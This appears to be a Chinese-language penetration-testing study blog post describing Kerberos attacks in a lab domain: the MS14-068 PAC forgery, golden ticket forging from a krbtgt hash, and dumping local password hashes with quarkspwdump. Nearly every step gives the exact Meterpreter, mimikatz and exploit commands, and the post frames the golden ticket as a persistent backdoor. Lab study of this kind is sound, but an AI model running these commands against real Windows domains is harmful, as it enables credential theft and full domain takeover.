内网渗透 day21-ptt

pass the ticket(ptt)

ptt:从kerberos的认证流程中可以发现,如果我们能够拿到用户的TGT,并将其导入到内存,就可以冒充该用户获得其访问权限

环境:

win2008: ZJW2.com 192.168.227.140

win7: 192.168.227.141

kali: 192.168.227.129

1. ms14-068漏洞复现

介绍:

MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其 Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控 制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证。

影响范围:

Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 及 Windows Server 2012 R2 、Windows Vista、Windows 7、Windows 8 及 Windows 8.1 版本

补丁编号:KB3011780

Ms14-068下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

mimikatz下载地址:https://github.com/gentilkiwi/mimikatz/releases

利用条件:

1、获取到域中的计算机权限

2、搜集到计算机用户的域用户账号密码、sid、域名信息

3、没有打MS14-068的补丁(KB3011780)

*原理:

来骗,来偷袭

PAC:微软使用PAC来表示TGS中Client申明的域组。PAC(Privilege Attribute Certificate)特权属性证书。

Client在发起认证请求时,通过设置include-PAC为False,则返回TGT中不会包含PAC

KDC对PAC进行验证时,对于PAC尾部的签名算法,虽然原理上规定必须是带有Key的签名算法才可以,但微软在实现上,却允许任意签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证。因此伪造的任意内容都可以是合法的,直接加上内容的MD5值作为签名即可(第一个原因,客户端可以指定任意签名算法)

PAC没有被放在TGT中,放在其它地方。KDC在仍然能够正确解析出没有放在TGT中的PAC信息PAC必须是密文,经过Key加密的KDC会从Authenticator中取出来subkey,把PAC信息解密并利用客户端设定的签名算法验证签名(第二个原因,KDC会根据设定的签名算法去验证签名)

KDC验证缺少PAC的TGT成功后,再验证不在TGT中的PAC的合法性。如果2个均验证成功,KDC把PAC中的User SID、Group SID取出来,重新使用进行签名,签名算法和密钥与设置inclue-pac标志位为TRUE时一模一样。将将新产生的PAC加入到解密后的TGT中,再重新加密制作全新的TGT发送给Client,不是TGS(第三个原因,骗,让KDC把我们自己的PAC注入到TGT中)

步骤流程

前提:获得域用户的管理员权限

wps1

(1) 进行会话迁移

wps2

(2) 载入kiwi模块

load kiwi    load mimikatz(msf6.0版本已经淘汰)

wps3

wps4

(3) 使用kiwi模块中的creds_all命令获取帐号密码

这里也可以用上传的mimikatz的sekurlsa::logonPasswords 抓取密码,或者上传procdump来获取

wps5

(4) 上传ms14-068.exe和mimikatz到域用户上面

wps6

wps7

(5) 进行令牌盗用

steal_token pid:身份盗用

wps8

(6) 进入shell用ipconfig /all获得域名和域控ip

wps9

wps10

可以用nslookup检测一下域名解析后是否正确

wps11

(7) whoami /user 查看SID

前提:令牌盗用成功盗用pipibo用户成功

wps12

(8) 将域用户账号密码、sid、域名信息整理到文件中

wps13

(9) rev2self:返回身份

wps14

(10) 利用上传的ms14-068.exe去获取具有改变的PAC的Kerberos TGT

ms14-068 -u 域用户名@域名 -s 域用户sid -d 域控ip -p 域用户密码

wps15

可以看到创建了.ccache文件

wps16

(11) 利用mimikatz清除票据

kerberos::purge 清除票据   

wps17

或者在cmd直接使用klist purge

wps18

(12) 利用mimikatz注入票据

kerberos::ptc TGT_pipibo@ZJW2.com.ccache 

wps19

(13) 成功访问域控的c盘资源

这边不能跟ip,需要跟域控的主机名

wps20

2. 黄金票据

Golden ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC, 然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。

那么如果获取到了krbtgt的密码hash值,是不是就可以伪造任意tgt了。

因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门

wps21

伪造黄金凭据需要具备下面条件:

krbtgt用户的hash(就意味着你已经有域控制器权限了)

域名称

域的SID值

要伪造的用户名

一般拿到krbtgt需要域管权限,生成的票据当然也是域管账号的,这样就控了整个域,而且有了金票据,免除了as验证username、password的阶段,所以也不担心域管密码修改.

理解:
黄金票据攻击,并不是一种普通的攻击方式,该攻击方式其实是一种后门的形式,属于第二次 进行攻击的方法,第一次拿到域管权限之后,需要将krbtgt hash进行保存,当第二次再来进行渗透攻 击时,我们就可以使用krbtgt hash制作黄金票据,从而获得管理员权限。(后门:黄金票据用来提权)

步骤流程

前提:获得域控的管理员权限(这里直接利用永恒之蓝漏洞)

(1) 令牌盗用后获得域名和域sid

wps22

meterpreter > steal_token 2020

C:\Windows\system32>whoami /user  

meterpreter > rev2self

(2) hashdump获得krbtgt的ntlm hash

wps23

(3) 将mimikatz上传

wps24

(4) 执行mimikatz

wps25

(5) privilege::debug 提权

wps26

(6) kerberos::purge  清空票据

wps27

(7) 生成黄金票据

wps28

kerberos::golden /user:administrator /domain:域名 /sid:域sid /krbtgt:NTLM_HASH /ticket:xx.kirbi(后缀必须为kirbi)

(8) 查看是否生成成功

wps29

(9) 将黄金票据下载下来

wps30

(10) 在域用户中进行测试

拥有域用户提权后的权限

上传从域控获得的黄金票据

然后进入mimikatz,privilege::debug进行特权提升

kerberos::purge 清空凭证

wps31

kerberos::ptt golden.kirbi注入黄金票据

wps32

成功访问域控资源

wps33

3. 利用quarkspwdump.exe抓取本地密码

quarkspwdump.exe -dhl       抓取本地密码

wps34

quarkspwdump.exe -dhl > c:\users\pipibo\desktop\1.txt       将输出结果保存在成txt文件

wps35

posted @ 2020-12-02 12:09  彩虹猛犸  阅读(473)  评论(2编辑  收藏  举报